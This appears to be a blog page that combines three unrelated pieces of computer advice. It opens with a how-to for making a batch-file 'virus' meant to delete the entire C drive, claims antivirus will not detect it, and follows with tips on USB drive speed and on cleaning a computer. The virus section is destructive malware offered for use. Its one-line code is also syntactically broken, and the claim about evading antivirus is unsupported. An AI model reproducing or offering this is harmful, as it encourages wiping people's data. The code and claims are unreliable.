What will this virus do ?  

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus. If you want to learn more about batch programming visit my post about Learn Batch Programming.

How to Make the virus ?

1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

   2. Save this file as virus.bat (Name can be anything but .bat is must)
   3. Now, running this file will delete all the content of C Drive.

Tricks To Incresase USB Flash Drive Speed:

1.   Connect  your  pen drive  to pc via  USB.

2.   Open my computer then right click on the the drive letter of your pen drive, click properties.

3.   Click on the hardware tab , select your pen drive then click properties.

4.   In the new window click policies tab.

5.   there you can find two options :

6.   a. "optimize for quick removal " and

7.   b."optimize for performance "

8.   By default, it works on the first one.Change it to the second one. ie; select " optimize for performance " then click OK. After doing the first step, format your pen drive with NTFS file system simply by selecting format option in the drop down menu then select NTFS and format.

Tips For cleaning Computer…

Below is a listing of general tips that should be taken when cleaning any of the components or peripherals of a computer as well as tips to help keep a computer clean.

1.     Never spray or squirt any liquid onto any computer component. If a spray is needed, spray the liquid onto a cloth and then use that cloth to rub down the component.

2.     You can use a vacuum to suck up dirt, dust, or hair around the computer on the outside case. However, do not use a vacuum for the inside of your computer as it generates a lot of static electricity that can damage the internal components of your computer. If you need to use a vacuum to clean the inside of your computer, use a portable battery powered vacuum designed to do this job or try using compressed air.

3.     When cleaning a component or the computer, turn it off before cleaning.

4.     Be cautious when using any cleaning solvents; some individuals may have allergic reactions to chemicals in cleaning solvents and some solvents can even damage the case. Try to always use water or a highly diluted solvent.

5.     When cleaning, be careful not to accidentally adjust any knobs or controls. In addition, when cleaning the back of the computer, if anything is plugged in, make sure not to disconnect any of the plugs.

6.     When cleaning fans, especially the smaller fans within a portable computer or laptop it's suggested that you either hold the fan or place something in-between the fan blades to prevent it from spinning. Spraying compressed air into a fan or cleaning a fan with a vacuum may cause damage or back voltage to be generated.

7.     Never eat or drink around the computer.

8.     Limit smoking around the computer.